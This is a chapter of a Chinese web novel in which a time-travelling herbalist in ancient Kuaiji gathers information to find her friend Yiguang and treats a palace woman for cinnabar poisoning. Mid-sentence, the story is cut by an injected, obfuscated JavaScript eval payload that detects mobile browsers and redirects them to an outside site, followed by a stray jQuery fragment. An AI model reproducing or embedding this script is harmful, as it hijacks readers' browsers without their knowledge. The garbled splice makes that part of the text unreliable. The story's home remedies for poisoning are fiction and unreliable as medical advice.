每日清晨，施晓青帮老李开门、摆货，然后坐在草药摊子后面，接待陆续上门的病人。


    午后，她会提着药箱，去城南那些住得远、走不动的老人家里“巡诊”。说是巡诊，其实不过是陪他们坐坐，说说话，顺手调些缓解腰腿疼的药膏。


    “施姑娘来了！”巷子深处，刘阿婆每次见她都笑得合不拢嘴，拉着她的手不放，“来就来，还带什么东西？”


    “阿婆，这不是东西，是药。”


    施晓青把一小罐艾草膏放在桌上，“您上次说膝盖又疼了，我给您调了这个，每天早晚抹一次，用手心搓热了再揉。”


    “哎，哎。”刘阿婆接过，浑浊的眼睛里泛着光，“姑娘，你说你年纪轻轻的，怎么就这么懂事呢？我家那几个孙子孙女，没一个比得上你。”


    施晓青笑笑，没有接话。


    刘阿婆拉着她说了半日的话。


    巷口王家的媳妇又怀了第三胎，隔壁赵屠户家的狗生了一窝崽，她年轻时去过的地方、见过的人。


    施晓青听着，时不时应一声，脑子里却在转别的。


    “阿婆，您年轻时候，进过内城吗？”


    “内城？”刘阿婆愣了一下，“进过。那会儿我还没嫁人，在城里一个大户人家帮佣。那户人家的老爷，在内城有差事，我跟着进去送过几次东西。”


    “那您知道，内城那些……那些女子住的地方，在哪个方向吗？”


    “女子？”刘阿婆想了想，“你是说那些……被选进去的？”


    施晓青的心跳快了一拍，面上却不动声色：“嗯，听说内城养着一些女子，专门学歌舞礼仪什么的。”


    “知道，知道。”刘阿婆压低声音，“在城东那一带，靠着王宫的后墙。我那会儿进去送东西，远远见过一次，院子外头有兵士把守，进不去的。”


    施晓青在心里默默记下。


    “阿婆，那您知道，有没有人能进得去那个院子？比如送菜的、送水的、洗衣裳的？”


    “这我哪儿知道。”刘阿婆摇摇头，“都过去多少年了。不过那种地方，管得严，能进去的肯定都是信得过的人。姑娘，你打听这个做什么？”


    “没什么。”施晓青笑了笑，“就是好奇。”


    从刘阿婆家出来，施晓青又在巷子里转了一圈。


    她跟卖菜的陈大嫂聊了几句，又跟赶车的赵叔打了个招呼，帮跑腿的小六子看了看手上的冻疮。


    这些人，是她用自己的耐心、善意和那点微不足道的医术，换来的、愿意跟她多说几句的人。


    “施姑娘，我昨天给城东一个府上送货，看见好多兵士在那边巡逻，比平时多了一倍。”赶车的赵叔一边啃着饼子一边说，“也不知道出了什么事。”


    “城东？”施晓青心里一动，“哪个府上？”


    “不知道，没挂牌子，门口就两个石狮子。反正看着挺气派的。”


    “赵叔，您下次再路过那边，帮我留意一下，那个府上每天什么时候送菜、送水，什么人送。”


    赵叔啃饼子的动作停了，看着她，目光里有些疑惑：“姑娘，你打听这个做什么？”


    “我想找个活干。”施晓青说，“听说那边的人出手阔绰，我想看看能不能揽点浆洗缝补的活。”


    赵叔“哦”了一声，没再追问。


    晚上，施晓青回到小厢房，点上油灯，把今天的收获记在桑树皮上。


    她放下炭笔，看着窗外漆黑的夜。


    城东。


    她在地图上画的那个圈，陆管事住的地方在城西，那夷光可能在城东。


    内城比她想象的大。她进得去城西，不一定进得去城东。她需要一个新的突破口。


    三月中旬，这天下午，施晓青正在铺子里给人看诊，门外进来一个穿着靛蓝短褐的年轻男子，黝黑壮实，满头大汗。


    “请问……施姑娘在吗？”


    施晓青抬起头，一眼就认出了他。


    李叔的儿子。那个从苎萝村来的、在陶朱记布庄当学徒的年轻人。


    “我就是。”施晓青说，“你是？”


    “我姓李，叫李大牛。”年轻人憨厚地笑了笑，“我爹是李老根，跟您一个村的。我听说您来了会稽，住在李叔这儿，就想着来看看。”


    “哦，是大牛哥。”施晓青站起来，搬了把椅子给他，“坐。在陶朱记干得怎么样？”


    “还行。”李大牛挠挠头，“掌柜的待我不错，就是活儿多，累。不过累点好，累点能学到东西。”


    施晓青给他倒了碗水，递过去。


    “大牛哥，你在陶朱记，接触的人多吗？”


    “多啊。”李大牛接过碗，咕咚咕咚喝了几大口，“来买布的有钱人多，掌柜的应酬多，我有时候跟着跑腿，能见到不少人。”


    “那你见过……范蠡范大夫吗？”


    李大牛差点被水呛着，瞪大眼睛看着她：“范大夫？那可是大人物！我一个小小学徒，哪能见得着？不过——”他压低声音，“我听掌柜的说，范大夫偶尔会来布庄，但都是走后门，不让外人知道。”


    施晓青点了点头。


    “大牛哥，你以后要是再听到什么消息，能不能来告诉我一声？我对城里的事好奇得很。”


    “行啊！”李大牛爽快地答应了，“施姑娘，你救过我爹的命，这点小事算什么。你放心，我听到什么，都来告诉你。”


    施晓青笑了：“那就多谢大牛哥了。”


    李大牛走后，施晓青坐在铺子里，看着门外来来往往的行人，脑子里在飞快地转。


    她一直在犹豫，要不要主动去找范蠡。


    范蠡知道她。


    范蠡说过，若遇难处，可去陶朱记寻个方便。


    可她拿什么去找他？她只是一个会些草药的村女，凭什么让范蠡花时间见她？


    *


    这天一大早，施晓青刚开门，就看见陆管事的贴身小厮小福子站在门口，气喘吁吁的。


    “施姑娘！可算找着您了！”小福子一把抓住她的袖子，“我家主人请您快去看看，出大事了！”


    “怎么了？”


    “我家主人……我家主人的一位贵客，突然晕倒了！请了好几个郎中都看不好，主人想起您，让我赶紧来找您！”


    “贵客？”施晓青心里一跳，“什么贵客？”


    “这……我不能说。”小福子急得直跺脚，“姑娘您快跟我走吧！再晚就来不及了！”


    施晓青来不及多想，提起药箱就跟着小福子往外走。


    马车在内城门口被拦下了。


    守卫掀开车帘，看见施晓青，皱了皱眉：“又是你？”


    “是我。”施晓青从怀里掏出陆管事给她的那块临时腰牌，“陆管事请我来看病的。”


    守卫看了看腰牌，又看了看她，挥挥手放行了。


    马车在内城的街道上疾驰，穿过城西，穿过城中心，最后在城东的一扇朱红大门前停下。


    施晓青下了车，看着那扇门，心跳骤然加速。


    门前没有挂牌子，但门口站着两个腰佩长刀的兵士，目光冷峻，一动不动。


    “这是……”施晓青看向小福子。


    “姑娘别问了，快进去吧。”小福子拉着她就往里走。


    穿过几进院落，绕过几道回廊，施晓青被带进一间宽敞的厢房。


    屋里站满了人。有郎中模样的人，有仆从，有丫鬟，还有几个穿着官袍的陌生面孔。


    陆管事站在床边，脸色发白，见她进来，快步迎上来：“施姑娘，你可来了！”


    “病人在哪里？”施晓青顾不上寒暄。


    陆管事侧开身，让她看见床上躺着的人。


    那是一个三十多岁的女子，面容姣好，此刻却脸色灰白，嘴唇发紫，呼吸急促而微弱。她的手腕上、脖子上，布满了密密麻麻的红疹，有些已经溃烂，渗出淡黄色的液体。


    施晓青只看了一眼，心里就“咯噔”了一下。


    这不是普通的病，这是……中毒了。


    她蹲下身，仔细查看那女子的症状。呼吸急促，皮肤溃烂，瞳孔微微散大……


    她记得在现代看过的一个病例。


    某种食物或者药物中毒。


    “她吃了什么？喝了什么？用过什么药？”施晓青头也不抬地问。


    周围的丫鬟仆从七嘴八舌地说起来。施晓青一边听，一边在脑子里飞快地排除、筛选。


    “她最近是不是在吃什么补药？”她忽然问。


    屋里安静了一瞬。


    一个丫鬟怯怯地说：“夫人……夫人最近在吃一种美容的丸子，说是能让人皮肤白皙、容颜不老。”


    “丸子呢？拿来我看看。”


    丫鬟从梳妆台的抽屉里拿出一个小瓷瓶，递给施晓青。施晓青倒出一粒，凑近闻了闻，又掰开看了看。


    丸子的颜色有些不正常，不是普通药材的灰褐色，这丸子带着一种不自然的、微微发红的色泽。


    她的心猛地一沉。


    朱砂……过量使用，会中毒。


    “这个丸子，不能再吃了。”施晓青把瓷瓶收起来，“夫人这是中毒。朱砂中毒。”


    “朱砂？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486893|202064||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”陆管事脸色大变，“那……那怎么办？”


    施晓青打开药箱，从里面拿出几样东西。绿豆粉、甘草、金银花，还有一小包活性炭，那是她进会稽城后，自己用木炭烧制、研磨的，用来处理一些急性中毒的案例。


    “先催吐。”


    她让丫鬟帮忙，把绿豆粉和甘草煮水，给那女子灌下去。然后又用活性炭调成糊状，敷在溃烂的皮肤上。


    “这个药，不能再吃了。”她指着那个瓷瓶，“夫人用的其他东西——胭脂、水粉、头油，都要检查一遍。还有，这段时间饮食要清淡，多吃绿豆汤、冬瓜汤这些清热的。”


    陆管事连连点头，让人去办。


    施晓青忙了一个多时辰，那女子的呼吸才渐渐平稳下来，脸色也不再那么灰白。她松了口气，擦了擦额头的汗。


    “施姑娘，”陆管事把她请到外间，亲自倒了杯茶递过去，“这次多亏了你。这位夫人身份贵重，若是出了事，我……”


    “陆管事，我冒昧一问，这位夫人到底是谁？”施晓青接过茶。


    陆管事犹豫了一下，压低声音：“是……王宫里的人。具体是谁，我不能说。但姑娘今天救了她一命，这个恩情，不会忘的。”


    王宫里的人。


    施晓青端着茶杯的手微微一顿。


    她救了一个王宫里的女人。


    这个“恩情”，或许有一天，能派上大用场。


    她没有再问，喝完茶，收拾好药箱，准备离开。


    走到院门口时，她忽然停下脚步。


    院门对面，隔着一条窄巷，是一道高高的粉墙。墙的那边，隐约可见几座楼阁的飞檐，和一片郁郁葱葱的竹林。


    “那边是什么地方？”她问小福子。


    小福子看了一眼，随口说：“那边啊，是教习坊。专门教那些选进来的女子歌舞礼仪的地方。”


    施晓青的心跳漏了一拍。


    教习坊，夷光应该就在那道墙的后面。


    她站在那里，看着那道粉墙，看了很久。


    墙不算高。可她翻不过去。


    即使翻过去了，也进不去，那边都有兵士把守。


    她需要一个名正言顺的理由，走进那道墙。


    她深吸一口气，收回目光，跟着小福子走出了那扇朱红大门。


    马车驶过内城的街道，穿过城门，回到城南。


    施晓青靠在车壁上，闭着眼，脑子里一遍一遍地过着今天的每一个细节。


    ……


    ……


    夷光，我离你，只有一道墙的距离了。


    可那道墙，比几百里路还难跨越。


    她睁开眼，看着车窗外掠过的街景，目光渐渐变得沉静而坚定。


    没关系，她有耐心。


    她有的是时间，她会找到办法的。


    马车在城南停下，施晓青提着药箱下了车。


    老李正站在铺子门口张望，见她回来，松了口气：“可算回来了！没事吧？”


    “没事。”施晓青笑了笑，“李叔，今天生意怎么样？”


    “还行。”老李看了她一眼，欲言又止，最终还是没忍住，“施姑娘，你……你这些天总往内城跑，到底在做什么？”


    施晓青走进铺子，把药箱放下，转过身看着老李。


    “李叔，”她说，“我在找一个朋友。”


    “朋友？”


    “嗯。一个很重要的朋友。”


    老李看着她，目光里有些担忧，有些不解，但最终只是叹了口气。


    “那你小心些。内城那种地方，不是咱们这些人能随便进的。”


    “多谢李叔提醒，”施晓青说，“我会小心的。”


    她走进后院，回到那间小厢房，关上门。


    然后她从怀里摸出那根麻绳带子，放在桌上。


    总有一天，她会把这根带子，亲手交到夷光手里。


    她拿起炭笔，在桑树皮上写下今天的收获：


    ……


    ……


    ……


    她放下炭笔，看着窗外渐渐暗下来的天。


    会稽城的春天，夜晚还是有些凉。


    风吹过院子，带着不知名的花香，和远处隐隐约约的、不知从哪个方向传来的丝竹声。


    那是教习坊的方向吗？


    夷光，你在听吗？


    你听到这些音乐了吗？


    你在练舞，还是在休息？你在想家，还是在想我？


    她闭上眼，在黑暗中，轻轻地、无声地，念着那个名字。


    ……


    ……